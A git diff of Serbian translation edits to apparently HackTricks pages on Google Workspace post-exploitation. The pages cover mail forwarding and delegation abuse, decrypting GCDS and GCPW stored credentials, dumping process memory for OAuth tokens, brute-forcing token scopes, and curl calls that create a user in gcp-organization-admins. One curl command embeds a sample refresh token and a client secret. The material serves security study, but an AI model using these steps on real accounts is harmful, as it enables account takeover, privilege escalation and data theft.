- Kreirajte **adresu za prosleđivanje za prosleđivanje osetljivih informacija** (ili svega) - Potrebno je ručno pristup.
|
||||
- Kreirajte **adresu za prosleđivanje za prosleđivanje osetljivih informacija** (ili svega) - Potrebno je ručno pristupiti.
|
||||
- Kreirajte adresu za prosleđivanje na [https://mail.google.com/mail/u/2/#settings/fwdandpop](https://mail.google.com/mail/u/2/#settings/fwdandpop)
|
||||
- Primalac će morati da potvrdi ovo
|
||||
- Zatim, postavite da prosledite sve emailove dok zadržavate kopiju (zapamtite da kliknete na sačuvaj promene):
|
||||
- Zatim, postavite da prosledite sve emailove dok čuvate kopiju (zapamtite da kliknete na sačuvaj promene):
|
||||
|
||||
<figure><img src="../../images/image (332).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
@@ -41,12 +41,12 @@ Takođe je moguće kreirati filtre i proslediti samo određene emailove na drugu
|
||||
|
||||
## App lozinke
|
||||
|
||||
Ako ste uspeli da **kompromitujete sesiju google korisnika** i korisnik je imao **2FA**, možete **generisati** [**app lozinku**](https://support.google.com/accounts/answer/185833?hl=en) (pratite link da vidite korake). Imajte na umu da **App lozinke više nisu preporučene od strane Google-a i biće opozvane** kada korisnik **promeni lozinku svog Google naloga.**
|
||||
Ako ste uspeli da **kompromitujete sesiju google korisnika** i korisnik je imao **2FA**, možete **generisati** [**app lozinku**](https://support.google.com/accounts/answer/185833?hl=en) (pratite link da vidite korake). Imajte na umu da **Google više ne preporučuje app lozinke i one se opozivaju** kada korisnik **promeni lozinku svog Google naloga.**
|
||||
|
||||
**Čak i ako imate otvorenu sesiju, moraćete da znate lozinku korisnika da biste kreirali app lozinku.**
|
||||
|
||||
> [!NOTE]
|
||||
> App lozinke se **mogu koristiti samo sa nalozima koji imaju uključenu 2-Step Verification.**
|
||||
> App lozinke mogu **da se koriste samo sa nalozima koji imaju uključenu 2-Step Verification**.
|
||||
|
||||
## Promena 2-FA i slično
|
||||
|
||||
@@ -58,7 +58,7 @@ Takođe je moguće **isključiti 2-FA ili registrovati novi uređaj** (ili broj
|
||||
>
|
||||
> Takođe je moguće **locirati uređaj.**
|
||||
|
||||
**Čak i ako imate otvorenu sesiju, moraćete da znate lozinku korisnika da biste promenili ove postavke.**
|
||||
**Čak i ako imate otvorenu sesiju, moraćete da znate lozinku korisnika da biste promenili ova podešavanja.**
|
||||
|
||||
## Persistencija putem OAuth aplikacija
|
||||
|
||||
@@ -98,22 +98,22 @@ Korisnici mogu delegirati pristup samo drugom korisniku u istoj organizaciji, be
|
||||
|
||||
#### Korak 1: Uključite Gmail delegaciju za svoje korisnike
|
||||
|
||||
**Pre nego što počnete:** Da biste primenili postavku za određene korisnike, stavite njihove naloge u [organizacionu jedinicu](https://support.google.com/a/topic/1227584).
|
||||
**Pre nego što počnete:** Da biste primenili podešavanje za određene korisnike, stavite njihove naloge u [organizacionu jedinicu](https://support.google.com/a/topic/1227584).
|
||||
|
||||
1. [Prijavite se](https://admin.google.com/) na vašu [Google Admin konzolu](https://support.google.com/a/answer/182076).
|
||||
|
||||
Prijavite se koristeći _administratorski nalog_, a ne vaš trenutni nalog CarlosPolop@gmail.com
|
||||
|
||||
2. U Admin konzoli, idite na Meni  **Aplikacije****Google Workspace****Gmail****Podešavanja korisnika**.
|
||||
3. Da biste primenili postavku za sve, ostavite izabranu gornju organizacionu jedinicu. Inače, izaberite pod [organizacionu jedinicu](https://support.google.com/a/topic/1227584).
|
||||
3. Da biste primenili podešavanje za sve, ostavite izabranu gornju organizacionu jedinicu. Inače, izaberite pod [organizacionu jedinicu](https://support.google.com/a/topic/1227584).
|
||||
4. Kliknite na **Delegacija pošte**.
|
||||
5. Proverite **Dozvolite korisnicima da delegiraju pristup svojoj pošti drugim korisnicima u domenu** okvir.
|
||||
6. (Opcionalno) Da biste omogućili korisnicima da odrede koje informacije o pošiljaocu su uključene u delegirane poruke poslate sa njihovog naloga, proverite **Dozvolite korisnicima da prilagode ovu postavku** okvir.
|
||||
5. Proverite kutiju **Dozvoli korisnicima da delegiraju pristup svojoj pošti drugim korisnicima u domenu**.
|
||||
6. (Opcionalno) Da biste dozvolili korisnicima da odrede koje informacije o pošiljaocu su uključene u delegirane poruke poslate sa njihovog naloga, proverite kutiju **Dozvoli korisnicima da prilagode ovo podešavanje**.
|
||||
7. Izaberite opciju za podrazumevane informacije o pošiljaocu koje su uključene u poruke koje šalju delegati:
|
||||
- **Prikaži vlasnika naloga i delegata koji je poslao email**—Poruke uključuju email adrese vlasnika Gmail naloga i delegata.
|
||||
- **Prikaži samo vlasnika naloga**—Poruke uključuju email adresu samo vlasnika Gmail naloga. Email adresa delegata nije uključena.
|
||||
8. (Opcionalno) Da biste omogućili korisnicima da dodaju grupu u Grupama kao delegata, proverite **Dozvolite korisnicima da dodele pristup svojoj pošti Google grupi** okvir.
|
||||
9. Kliknite na **Sačuvaj**. Ako ste konfigurisali pod organizacionu jedinicu, možda ćete moći da **Nasledite** ili **Zamenite** postavke roditeljske organizacione jedinice.
|
||||
8. (Opcionalno) Da biste dozvolili korisnicima da dodaju grupu u Grupama kao delegata, proverite kutiju **Dozvoli korisnicima da dodele pristup svojoj pošti Google grupi**.
|
||||
9. Kliknite na **Sačuvaj**. Ako ste konfigurisali pod organizacionu jedinicu, možda ćete moći da **nasledite** ili **prepravite** podešavanja roditeljske organizacione jedinice.
|
||||
10. (Opcionalno) Da biste uključili Gmail delegaciju za druge organizacione jedinice, ponovite korake 3–9.
|
||||
|
||||
Promene mogu potrajati do 24 sata, ali obično se dešavaju brže. [Saznajte više](https://support.google.com/a/answer/7514107)
|
||||
@@ -122,7 +122,7 @@ Promene mogu potrajati do 24 sata, ali obično se dešavaju brže. [Saznajte vi
|
||||
|
||||
Nakon što uključite delegaciju, vaši korisnici idu na svoja Gmail podešavanja da dodele delegate. Delegati tada mogu čitati, slati i primati poruke u ime korisnika.
|
||||
|
||||
Za detalje, uputite korisnike na [Delegirajte i sarađujte na email-u](https://support.google.com/a/users/answer/138350).
|
||||
Za detalje, uputite korisnike na [Delegiranje i saradnja na emailu](https://support.google.com/a/users/answer/138350).
|
||||
|
||||
</details>
|
||||
|
||||
@@ -143,7 +143,7 @@ Ako koristite Gmail preko svog posla, škole ili druge organizacije:
|
||||
1. Na svom računaru, otvorite [Gmail](https://mail.google.com/). Ne možete dodati delegate iz Gmail aplikacije.
|
||||
2. U gornjem desnom uglu, kliknite na Podešavanja   **Pogledajte sve postavke**.
|
||||
3. Kliknite na **Nalozi i uvoz** ili **Nalozi** tab.
|
||||
4. U sekciji "Dodeli pristup svom nalogu", kliknite na **Dodaj drugi nalog**. Ako koristite Gmail preko svog posla ili škole, vaša organizacija može ograničiti delegaciju email-a. Ako ne vidite ovu postavku, kontaktirajte svog administratora.
|
||||
4. U sekciji "Dodeli pristup svom nalogu", kliknite na **Dodaj drugi nalog**. Ako koristite Gmail preko svog posla ili škole, vaša organizacija može ograničiti delegaciju emaila. Ako ne vidite ovo podešavanje, kontaktirajte svog administratora.
|
||||
- Ako ne vidite Dodeli pristup svom nalogu, onda je to ograničeno.
|
||||
5. Unesite email adresu osobe koju želite da dodate. Ako koristite Gmail preko svog posla, škole ili druge organizacije, i vaš administrator to dozvoljava, možete uneti email adresu grupe. Ova grupa mora imati istu domenu kao vaša organizacija. Spoljni članovi grupe su odbijeni pristup delegaciji.\
|
||||
\
|
||||
|
||||
@@ -4,14 +4,14 @@
|
||||
|
||||
## Google Groups Privesc
|
||||
|
||||
Po defaultu, u workspace-u, **grupa** može biti **slobodno dostupna** bilo kojem članu organizacije.\
|
||||
Workspace takođe omogućava **dodeljivanje dozvola grupama** (čak i GCP dozvola), tako da ako se grupe mogu pridružiti i imaju dodatne dozvole, napadač može **iskoristiti tu putanju za eskalaciju privilegija**.
|
||||
Podrazumevano, u workspace-u **grupa** može biti **slobodno dostupna** bilo kojem članu organizacije.\
|
||||
Workspace takođe omogućava da se **dodele dozvole grupama** (čak i GCP dozvole), tako da ako se grupe mogu pridružiti i imaju dodatne dozvole, napadač može **iskoristiti tu putanju za eskalaciju privilegija**.
|
||||
|
||||
Potrebno je da imate pristup konzoli da biste se pridružili grupama koje dozvoljavaju pridruživanje bilo kome u organizaciji. Proverite informacije o grupama na [**https://groups.google.com/all-groups**](https://groups.google.com/all-groups).
|
||||
|
||||
### Access Groups Mail info
|
||||
|
||||
Ako ste uspeli da **kompromitujete sesiju google korisnika**, sa [**https://groups.google.com/all-groups**](https://groups.google.com/all-groups) možete videti istoriju mejlova poslatih grupama na koje je korisnik član, i možda ćete pronaći **akreditive** ili druge **osetljive podatke**.
|
||||
Ako ste uspeli da **kompromitujete sesiju google korisnika**, sa [**https://groups.google.com/all-groups**](https://groups.google.com/all-groups) možete videti istoriju mejlova poslatih grupama mejlova čiji je korisnik član, i možda ćete pronaći **akreditive** ili druge **osetljive podatke**.
|
||||
|
||||
## GCP <--> GWS Pivoting
|
||||
|
||||
@@ -27,7 +27,7 @@ Ako imate **sesiju unutar google naloga žrtve**, možete preuzeti sve što Goog
|
||||
|
||||
Ako organizacija ima **Google Vault omogućen**, možda ćete moći da pristupite [**https://vault.google.com**](https://vault.google.com/u/1/) i **preuzmete** sve **informacije**.
|
||||
|
||||
## Preuzimanje kontakata
|
||||
## Contacts download
|
||||
|
||||
Sa [**https://contacts.google.com**](https://contacts.google.com/u/1/?hl=es&tab=mC) možete preuzeti sve **kontakte** korisnika.
|
||||
|
||||
@@ -43,7 +43,7 @@ Na [**https://mail.google.com/chat**](https://mail.google.com/chat) možete pris
|
||||
|
||||
Kada **delite** dokument, možete **navesti** **ljude** koji mogu da mu pristupe jedan po jedan, **podeliti** ga sa vašom **celom kompanijom** (**ili** sa nekim specifičnim **grupama**) generisanjem linka.
|
||||
|
||||
Kada delite dokument, u naprednim podešavanjima takođe možete **dozvoliti ljudima da pretražuju** ovaj fajl (po **defaultu** je **onemogućeno**). Međutim, važno je napomenuti da kada korisnici pogledaju dokument, on postaje pretražljiv za njih.
|
||||
Kada delite dokument, u naprednim podešavanjima takođe možete **dozvoliti ljudima da pretražuju** ovaj fajl (po **default-u** je **onemogućeno**). Međutim, važno je napomenuti da kada korisnici pogledaju dokument, on postaje pretraživ za njih.
|
||||
|
||||
Radi jednostavnosti, većina ljudi će generisati i deliti link umesto da dodaju ljude koji mogu da pristupe dokumentu jedan po jedan.
|
||||
|
||||
@@ -58,7 +58,7 @@ Na [**https://keep.google.com/**](https://keep.google.com) možete pristupiti be
|
||||
|
||||
### Modify App Scripts
|
||||
|
||||
Na [**https://script.google.com/**](https://script.google.com/) možete pronaći APP Scripts korisnika.
|
||||
Na [**https://script.google.com/**](https://script.google.com/) možete pronaći APP Skripte korisnika.
|
||||
|
||||
## **Administrate Workspace**
|
||||
|
||||
|
||||
+5
-5
@@ -4,7 +4,7 @@
|
||||
|
||||
## GCPW - Google Credential Provider for Windows
|
||||
|
||||
Ovo je jedinstveno prijavljivanje koje Google Workspace pruža kako bi korisnici mogli da se prijave na svojim Windows PC-ima koristeći **svoje Workspace akreditive**. Štaviše, ovo će čuvati **tokene** za pristup Google Workspace na nekim mestima na PC-u: Disk, memorija i registri... čak je moguće dobiti **lozinku u čistom tekstu**.
|
||||
Ovo je jedinstveno prijavljivanje koje Google Workspaces pruža kako bi korisnici mogli da se prijave na svojim Windows PC-ima koristeći **svoje Workspace akreditive**. Štaviše, ovo će čuvati **tokene** za pristup Google Workspace na nekim mestima na PC-u: Disk, memorija i registri... čak je moguće dobiti **lozinku u čistom tekstu**.
|
||||
|
||||
> [!TIP]
|
||||
> Imajte na umu da [**Winpeas**](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe) može da detektuje **GCPW**, dobije informacije o konfiguraciji i **čak tokene**.
|
||||
@@ -17,7 +17,7 @@ gcpw-google-credential-provider-for-windows.md
|
||||
|
||||
## GCSD - Google Cloud Directory Sync
|
||||
|
||||
Ovo je alat koji se može koristiti za **sinhronizaciju vaših korisnika i grupa aktivnog direktorijuma sa vašim Workspace-om** (a ne obrnuto u vreme pisanja ovog teksta).
|
||||
Ovo je alat koji se može koristiti za **sinhronizaciju vaših aktivnih korisnika i grupa sa vašim Workspace** (a ne obrnuto u vreme pisanja ovog teksta).
|
||||
|
||||
Zanimljivo je jer je to alat koji će zahtevati **akreditive superkorisnika Workspace-a i privilegovanog AD korisnika**. Tako da bi moglo biti moguće pronaći ga unutar domen servera koji bi povremeno sinhronizovao korisnike.
|
||||
|
||||
@@ -32,9 +32,9 @@ gcds-google-cloud-directory-sync.md
|
||||
|
||||
## GPS - Google Password Sync
|
||||
|
||||
Ovo je binarni fajl i servis koji Google nudi kako bi **održao sinhronizovane lozinke korisnika između AD-a** i Workspace-a. Svaki put kada korisnik promeni svoju lozinku u AD-u, ona se postavlja na Google.
|
||||
Ovo je binarni program i usluga koju Google nudi kako bi **održao sinhronizovane lozinke korisnika između AD** i Workspace-a. Svaki put kada korisnik promeni svoju lozinku u AD, ona se postavlja na Google.
|
||||
|
||||
Instalira se u `C:\Program Files\Google\Password Sync` gde možete pronaći binarni fajl `PasswordSync.exe` za konfiguraciju i `password_sync_service.exe` (servis koji će nastaviti da radi).
|
||||
Instalira se u `C:\Program Files\Google\Password Sync` gde možete pronaći binarni program `PasswordSync.exe` za konfiguraciju i `password_sync_service.exe` (usluga koja će nastaviti da radi).
|
||||
|
||||
> [!TIP]
|
||||
> Imajte na umu da [**Winpeas**](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe) može da detektuje **GPS**, dobije informacije o konfiguraciji i **čak lozinke i enkriptovane akreditive**.
|
||||
@@ -47,7 +47,7 @@ gps-google-password-sync.md
|
||||
|
||||
## Admin Directory Sync
|
||||
|
||||
Glavna razlika između ovog načina sinhronizacije korisnika sa GCDS je ta što se GCDS radi ručno sa nekim binarnim fajlovima koje treba preuzeti i pokrenuti dok je **Admin Directory Sync bezserverski** i upravlja ga Google na [https://admin.google.com/ac/sync/externaldirectories](https://admin.google.com/ac/sync/externaldirectories).
|
||||
Glavna razlika između ovog načina sinhronizacije korisnika sa GCDS je ta što se GCDS radi ručno sa nekim binarnim programima koje treba preuzeti i pokrenuti dok je **Admin Directory Sync bezserverski** i upravlja ga Google na [https://admin.google.com/ac/sync/externaldirectories](https://admin.google.com/ac/sync/externaldirectories).
|
||||
|
||||
Pronađite više informacija o ovome u:
|
||||
|
||||
|
||||
+15
-15
@@ -4,7 +4,7 @@
|
||||
|
||||
## Osnovne informacije
|
||||
|
||||
Ovo je alat koji se može koristiti za **sinhronizaciju vaših korisnika i grupa aktivnog direktorijuma sa vašim Workspace** (a ne obrnuto u vreme pisanja ovog teksta).
|
||||
Ovo je alat koji se može koristiti za **sinhronizaciju vaših korisnika i grupa iz aktivnog direktorijuma sa vašim Workspace** (a ne obrnuto u vreme pisanja ovog teksta).
|
||||
|
||||
Zanimljivo je jer je to alat koji će zahtevati **akreditive superkorisnika Workspace-a i privilegovanog AD korisnika**. Tako da bi moglo biti moguće pronaći ga unutar domen servera koji bi povremeno sinhronizovao korisnike.
|
||||
|
||||
@@ -20,7 +20,7 @@ Takođe imajte na umu da GCDS neće sinhronizovati lozinke iz AD u Workspace. Ak
|
||||
|
||||
### GCDS - Disk tokeni i AD akreditive
|
||||
|
||||
Binarna datoteka `config-manager.exe` (glavna GCDS binarna datoteka sa GUI) će po defaultu čuvati konfigurirane akreditive aktivnog direktorijuma, osvežavajući token i pristup u **xml datoteci** u folderu **`C:\Program Files\Google Cloud Directory Sync`** u datoteci pod nazivom **`Untitled-1.xml`**. Iako bi takođe mogla biti sačuvana u `Dokumentima` korisnika ili u **bilo kojem drugom folderu**.
|
||||
Binarna datoteka `config-manager.exe` (glavna GCDS binarna datoteka sa GUI) će po defaultu čuvati konfigurirane akreditive aktivnog direktorijuma, osvežavajući token i pristup u **xml datoteci** u folderu **`C:\Program Files\Google Cloud Directory Sync`** u datoteci pod nazivom **`Untitled-1.xml`**. Iako bi takođe mogla biti sačuvana u `Documents` korisnika ili u **bilo kojem drugom folderu**.
|
||||
|
||||
Štaviše, registar **`HKCU\SOFTWARE\JavaSoft\Prefs\com\google\usersyncapp\ui`** unutar ključa **`open.recent`** sadrži putanje do svih nedavno otvorenih konfiguracionih datoteka (xml). Tako da je moguće **proveriti to da ih pronađete**.
|
||||
|
||||
@@ -150,18 +150,18 @@ Write-Host "Decrypted Password: $decryptedPassword"
|
||||
</details>
|
||||
|
||||
> [!NOTE]
|
||||
> Imajte na umu da je moguće proveriti ove informacije pregledanjem java koda **`DirSync.jar`** iz **`C:\Program Files\Google Cloud Directory Sync`** pretražujući string `exportkeys` (jer je to cli parametar koji binarni `upgrade-config.exe` očekuje da izvuče ključeve).
|
||||
> Imajte na umu da je moguće proveriti ove informacije pregledanjem java koda **`DirSync.jar`** iz **`C:\Program Files\Google Cloud Directory Sync`** pretražujući string `exportkeys` (jer je to cli parametar koji binarni fajl `upgrade-config.exe` očekuje da bi izneo ključeve).
|
||||
|
||||
Umesto korišćenja powershell skripte, takođe je moguće koristiti binarni **`:\Program Files\Google Cloud Directory Sync\upgrade-config.exe`** sa parametrom `-exportKeys` i dobiti **Key** i **IV** iz registra u heksadecimalnom formatu, a zatim jednostavno koristiti neki cyberchef sa AES/CBC i tim ključem i IV za dešifrovanje informacija.
|
||||
Umesto korišćenja powershell skripte, takođe je moguće koristiti binarni fajl **`:\Program Files\Google Cloud Directory Sync\upgrade-config.exe`** sa parametrom `-exportKeys` i dobiti **Key** i **IV** iz registra u heksadecimalnom formatu, a zatim jednostavno koristiti neki cyberchef sa AES/CBC i tim ključem i IV za dešifrovanje informacija.
|
||||
|
||||
### GCDS - Ispisivanje tokena iz memorije
|
||||
### GCDS - Ispis tokena iz memorije
|
||||
|
||||
Baš kao i sa GCPW, moguće je ispisati memoriju procesa `config-manager.exe` (to je naziv glavnog binarnog GCDS-a sa GUI) i moći ćete da pronađete refresh i access tokene (ako su već generisani).\
|
||||
Pretpostavljam da biste takođe mogli pronaći AD konfigurisane kredencijale.
|
||||
Baš kao i sa GCPW, moguće je ispisati memoriju procesa `config-manager.exe` (to je naziv glavnog binarnog fajla GCDS sa GUI) i moći ćete da pronađete refresh i access tokene (ako su već generisani).\
|
||||
Pretpostavljam da biste takođe mogli pronaći AD konfigurisanih kredencijala.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Ispisivanje procesa config-manager.exe i pretraga tokena</summary>
|
||||
<summary>Ispis procesa config-manager.exe i pretraga tokena</summary>
|
||||
```powershell
|
||||
# Define paths for Procdump and Strings utilities
|
||||
$procdumpPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\procdump.exe"
|
||||
@@ -237,7 +237,7 @@ Remove-Item -Path $dumpFolder -Recurse -Force
|
||||
|
||||
### GCDS - Generisanje pristupnih tokena iz osvežavajućih tokena
|
||||
|
||||
Korišćenjem osvežavajućeg tokena moguće je generisati pristupne tokene koristeći ga i ID klijenta i tajnu klijenta navedene u sledećoj komandi:
|
||||
Korišćenjem osvežavajućeg tokena moguće je generisati pristupne tokene koristeći ga i ID klijenta i tajni ključ klijenta navedene u sledećoj komandi:
|
||||
```bash
|
||||
curl -s --data "client_id=118556098869.apps.googleusercontent.com" \
|
||||
--data "client_secret=Co-LoSjkPcQXD9EjJzWQcgpy" \
|
||||
@@ -245,18 +245,18 @@ curl -s --data "client_id=118556098869.apps.googleusercontent.com" \
|
||||
--data "refresh_token=1//03gQU44mwVnU4CDHYE736TGMSNwF-L9IrTuikNFVZQ3sBxshrJaki7QvpHZQMeANHrF0eIPebz0dz0S987354AuSdX38LySlWflI" \
|
||||
https://www.googleapis.com/oauth2/v4/token
|
||||
```
|
||||
### GCDS - Scopes
|
||||
### GCDS - Opsezi
|
||||
|
||||
> [!NOTE]
|
||||
> Imajte na umu da čak i kada imate refresh token, nije moguće zatražiti bilo koji scope za access token jer možete zatražiti samo **scope-ove koje podržava aplikacija u kojoj generišete access token**.
|
||||
> Imajte na umu da čak i sa refresh token-om, nije moguće zatražiti bilo koji opseg za access token jer možete zatražiti samo **opsege koje podržava aplikacija u kojoj generišete access token**.
|
||||
>
|
||||
> Takođe, refresh token nije važeći u svakoj aplikaciji.
|
||||
|
||||
Podrazumevano, GCSD neće imati pristup kao korisnik svim mogućim OAuth scope-ovima, pa možemo koristiti sledeći skript da pronađemo scope-ove koji se mogu koristiti sa `refresh_token` za generisanje `access_token`:
|
||||
Podrazumevano, GCSD neće imati pristup kao korisnik svim mogućim OAuth opsezima, pa možemo koristiti sledeći skript da pronađemo opsege koji se mogu koristiti sa `refresh_token` za generisanje `access_token`:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Bash script to brute-force scopes</summary>
|
||||
<summary>Bash skript za brute-force opsege</summary>
|
||||
```bash
|
||||
curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-Z/\._\-]*' | sort -u | while read -r scope; do
|
||||
echo -ne "Testing $scope \r"
|
||||
@@ -291,7 +291,7 @@ https://www.googleapis.com/auth/apps.groups.settings
|
||||
https://www.googleapis.com/auth/apps.licensing
|
||||
https://www.googleapis.com/auth/contacts
|
||||
```
|
||||
#### Kreirajte korisnika i dodajte ga u grupu `gcp-organization-admins` da biste pokušali da eskalirate u GCP
|
||||
#### Kreirajte korisnika i dodajte ga u grupu `gcp-organization-admins` da biste pokušali da eskalirate privilegije u GCP
|
||||
```bash
|
||||
# Create new user
|
||||
curl -X POST \
|
||||
@@ -321,6 +321,6 @@ curl -X POST \
|
||||
# You could also change the password of a user for example
|
||||
```
|
||||
> [!CAUTION]
|
||||
> Nije moguće dodeliti novom korisniku Super Amin ulogu jer **osveženi token nema dovoljno opsega** da dodeli potrebne privilegije.
|
||||
> Nije moguće dodeliti novom korisniku Super Amin ulogu jer **refresh token nema dovoljno opsega** da dodeli potrebne privilegije.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+21
-21
@@ -27,11 +27,13 @@ scope=https://www.google.com/accounts/OAuthLogin
|
||||
&device_id=d5c82f70-71ff-48e8-94db-312e64c7354f
|
||||
&device_type=chrome
|
||||
```
|
||||
Nova linija je dodata da bi se poboljšala čitljivost.
|
||||
|
||||
> [!NOTE]
|
||||
> Moguće je izvršiti MitM instaliranjem `Proxifier` na PC, prepisivanjem `utilman.exe` binarne datoteke sa `cmd.exe` i izvršavanjem **funkcija pristupačnosti** na Windows stranici za prijavu, što će izvršiti **CMD** iz kojeg možete **pokrenuti i konfigurisati Proxifier**.\
|
||||
> Bilo je moguće izvršiti MitM instaliranjem `Proxifier` na PC, prepisivanjem `utilman.exe` binarne datoteke sa `cmd.exe` i izvršavanjem **funkcija pristupačnosti** na Windows stranici za prijavu, što će izvršiti **CMD** iz kojeg možete **pokrenuti i konfigurisati Proxifier**.\
|
||||
> Ne zaboravite da **blokirate QUICK UDP** saobraćaj u `Proxifier` kako bi se prešao na TCP komunikaciju i mogli biste ga videti.
|
||||
>
|
||||
> Takođe konfigurišite u "Servisirani i drugi korisnici" obe opcije i instalirajte Burp CA certifikat u Windows.
|
||||
> Takođe konfigurišite u "Serviced and other users" obe opcije i instalirajte Burp CA certifikat u Windows.
|
||||
|
||||
Pored toga, dodavanjem ključeva `enable_verbose_logging = 1` i `log_file_path = C:\Public\gcpw.log` u **`HKLM:\SOFTWARE\Google\GCPW`** moguće je sačuvati neke logove.
|
||||
|
||||
@@ -62,12 +64,12 @@ Write-Output "Google Accounts are present: The key $gcpwHKCUPath exists."
|
||||
Write-Output "No Google Accounts found: The key $gcpwHKCUPath does not exist."
|
||||
}
|
||||
```
|
||||
U **`HKCU:\SOFTWARE\Google\Accounts`** je moguće pristupiti emailu korisnika i enkriptovanom **refresh tokenu** ako se korisnik nedavno prijavio.
|
||||
U **`HKCU:\SOFTWARE\Google\Accounts`** moguće je pristupiti emailu korisnika i enkriptovanom **refresh token** ako se korisnik nedavno prijavio.
|
||||
|
||||
U **`HKLM:\SOFTWARE\Google\GCPW\Users`** je moguće pronaći **domeni** koji su dozvoljeni za prijavu u ključiću `domains_allowed`, a u podključevima je moguće pronaći informacije o korisniku kao što su email, slika, korisničko ime, trajanje tokena, token handle...
|
||||
U **`HKLM:\SOFTWARE\Google\GCPW\Users`** moguće je pronaći **domeni** koji su dozvoljeni za prijavu u ključeve `domains_allowed`, a u podključevima je moguće pronaći informacije o korisniku kao što su email, slika, korisničko ime, trajanje tokena, token handle...
|
||||
|
||||
> [!NOTE]
|
||||
> Token handle je token koji počinje sa `eth.` i iz kojeg se može izvući neka informacija sa zahtevom kao što je:
|
||||
> Token handle je token koji počinje sa `eth.` i iz kojeg se može izvući neka informacija putem zahteva kao što je:
|
||||
>
|
||||
> ```bash
|
||||
> curl -s 'https://www.googleapis.com/oauth2/v2/tokeninfo' \
|
||||
@@ -80,7 +82,7 @@ U **`HKLM:\SOFTWARE\Google\GCPW\Users`** je moguće pronaći **domeni** koji su
|
||||
> }
|
||||
> ```
|
||||
>
|
||||
> Takođe je moguće pronaći token handle pristupnog tokena sa zahtevom kao što je:
|
||||
> Takođe je moguće pronaći token handle pristupnog tokena putem zahteva kao što je:
|
||||
>
|
||||
> ```bash
|
||||
> curl -s 'https://www.googleapis.com/oauth2/v2/tokeninfo' \
|
||||
@@ -96,15 +98,15 @@ U **`HKLM:\SOFTWARE\Google\GCPW\Users`** je moguće pronaći **domeni** koji su
|
||||
> }
|
||||
> ```
|
||||
>
|
||||
> Koliko ja znam, nije moguće dobiti refresh token ili access token iz token handle-a.
|
||||
> Koliko ja znam, nije moguće dobiti refresh token ili access token iz token handle.
|
||||
|
||||
Pored toga, datoteka **`C:\ProgramData\Google\Credential Provider\Policies\<sid>\PolicyFetchResponse`** je json koji sadrži informacije o različitim **podešavanjima** kao što su `enableDmEnrollment`, `enableGcpAutoUpdate`, `enableMultiUserLogin` (ako više korisnika iz Workspace može da se prijavi na računar) i `validityPeriodDays` (broj dana koliko korisnik ne mora da se ponovo autentifikuje sa Google-om direktno).
|
||||
Pored toga, datoteka **`C:\ProgramData\Google\Credential Provider\Policies\<sid>\PolicyFetchResponse`** je json koji sadrži informacije o različitim **podešavanjima** kao što su `enableDmEnrollment`, `enableGcpAutoUpdate`, `enableMultiUserLogin` (ako više korisnika iz Workspace može da se prijavi na računar) i `validityPeriodDays` (broj dana tokom kojih korisnik ne mora ponovo da se autentifikuje sa Google-om direktno).
|
||||
|
||||
## GCPW - Dobijanje Tokena
|
||||
|
||||
### GCPW - Registry Refresh Tokens
|
||||
|
||||
Unutar registra **`HKCU:\SOFTWARE\Google\Accounts`** može biti moguće pronaći neke naloge sa **`refresh_token`** enkriptovanim unutra. Metoda **`ProtectedData.Unprotect`** može lako dekriptovati to.
|
||||
Unutar registra **`HKCU:\SOFTWARE\Google\Accounts`** može biti moguće pronaći neke naloge sa **`refresh_token`** enkriptovanim unutra. Metoda **`ProtectedData.Unprotect`** može lako dekriptovati.
|
||||
|
||||
<details>
|
||||
|
||||
@@ -160,8 +162,6 @@ Get-RegistryKeysAndDecryptTokens -keyPath $_.PSPath
|
||||
Get-RegistryKeysAndDecryptTokens -keyPath $baseKey
|
||||
```
|
||||
</details>
|
||||
|
||||
Primer izlaza:
|
||||
```
|
||||
Path: Microsoft.PowerShell.Core\Registry::HKEY_CURRENT_USER\SOFTWARE\Google\Accounts\100402336966965820570Decrypted refresh_token: 1//03gQU44mwVnU4CDHYE736TGMSNwF-L9IrTuikNFVZQ3sBxshrJaki7QvpHZQMeANHrF0eIPebz0dz0S987354AuSdX38LySlWflI
|
||||
```
|
||||
@@ -169,24 +169,24 @@ Kao što je objašnjeno u [**ovom videu**](https://www.youtube.com/watch?v=FEQxH
|
||||
|
||||
### GCPW - Tokeni za osvežavanje diska
|
||||
|
||||
Fajl **`%LocalAppData%\Google\Chrome\User Data\Local State`** čuva ključ za dešifrovanje **`refresh_tokens`** koji se nalaze unutar **Google Chrome profila** korisnika kao što su:
|
||||
Fajl **`%LocalAppData%\Google\Chrome\User Data\Local State`** čuva ključ za dekripciju **`refresh_tokens`** koji se nalazi unutar **Google Chrome profila** korisnika kao što su:
|
||||
|
||||
- `%LocalAppData%\Google\Chrome\User Data\Default\Web Data`
|
||||
- `%LocalAppData%\Google\Chrome\Profile*\Default\Web Data`
|
||||
|
||||
Moguće je pronaći neki **C# kod** koji pristupa ovim tokenima u njihovom dešifrovanom obliku u [**Winpeas**](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe).
|
||||
Moguće je pronaći neki **C# kod** koji pristupa ovim tokenima u njihovom dekriptovanom obliku u [**Winpeas**](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe).
|
||||
|
||||
Štaviše, enkripcija se može pronaći u ovom kodu: [https://github.com/chromium/chromium/blob/7b5e817cb016f946a29378d2d39576a4ca546605/components/os_crypt/sync/os_crypt_win.cc#L216](https://github.com/chromium/chromium/blob/7b5e817cb016f946a29378d2d39576a4ca546605/components/os_crypt/sync/os_crypt_win.cc#L216)
|
||||
|
||||
Može se primetiti da se koristi AESGCM, enkriptovani token počinje sa **verzijom** (**`v10`** u ovom trenutku), zatim [**ima 12B nonce**](https://github.com/chromium/chromium/blob/7b5e817cb016f946a29378d2d39576a4ca546605/components/os_crypt/sync/os_crypt_win.cc#L42), a zatim ima **šifrovani tekst** sa konačnim **mac od 16B**.
|
||||
